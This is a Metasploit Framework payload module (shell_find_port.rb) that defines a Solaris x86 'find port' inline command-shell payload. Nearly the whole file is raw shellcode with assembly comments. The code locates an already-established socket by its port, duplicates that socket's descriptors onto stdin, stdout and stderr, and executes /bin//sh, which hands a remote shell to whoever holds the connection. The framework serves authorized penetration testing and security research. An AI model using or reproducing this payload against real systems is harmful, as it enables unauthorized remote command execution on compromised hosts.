/
shell_find_port.rb
86 lines (80 loc) · 4.51 KB
/
shell_find_port.rb
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/find_port'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 86
include Msf::Payload::Single
include Msf::Payload::Solaris
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Solaris Command Shell, Find Port Inline',
'Description' => 'Spawn a shell on an established connection',
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'Platform' => 'solaris',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::FindPort,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'CPORT' => [ 43, 'n' ],
},
'Payload' =>
"\x31\xdb" +# xorl %ebx,%ebx #
"\xf7\xe3" +# mull %ebx #
"\x53" +# pushl %ebx #
"\x89\xe7" +# movl %esp,%edi #
"\x68\xff\xd8\xff\x3c" +# pushl $0x3cffd8ff #
"\x6a\x65" +# pushl $0x65 #
"\x89\xe6" +# movl %esp,%esi #
"\xf7\x56\x04" +# notl 0x04(%esi) #
"\xf6\x16" +# notb (%esi) #
"\x57" +# pushl %edi #
"\xb3\x91" +# movb $0x91,%bl #
"\x53" +# pushl %ebx #
"\x53" +# pushl %ebx #
"\x54" +# pushl %esp #
"\xb7\x54" +# movb $0x54,%bh #
"\x53" +# pushl %ebx #
"\x50" +# pushl %eax #
"\x58" +# popl %eax #
"\x40" +# incl %eax #
"\x50" +# pushl %eax #
"\x6a\x36" +# pushl $0x36 #
"\x58" +# popl %eax #
"\xff\xd6" +# call *%esi #
"\x66\x81\x7f\x02\x04\xd2"+# cmpw $0xd204,0x02(%edi) #
"\x75\xf0" +# jne <fndsockcode+31> #
"\x58" +# popl %eax #
"\x50" +# pushl %eax #
"\x6a\x09" +# pushl $0x09 #
"\x50" +# pushl %eax #
"\x6a\x3e" +# pushl $0x3e #
"\x58" +# popl %eax #
"\xff\xd6" +# call *%esi #
"\xff\x4f\xe0" +# decl -0x20(%edi) #
"\x79\xf6" +# jns <fndsockcode+52> #
"\x50" +# pushl %eax #
"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
"\x89\xe3" +# movl %esp,%ebx #
"\x50" +# pushl %eax #
"\x53" +# pushl %ebx #
"\x89\xe1" +# movl %esp,%ecx #
"\x50" +# pushl %eax #
"\x51" +# pushl %ecx #
"\x53" +# pushl %ebx #
"\xb0\x3b" +# movb $0x3b,%al #
"\xff\xd6" # call *%esi #
}
))
end
end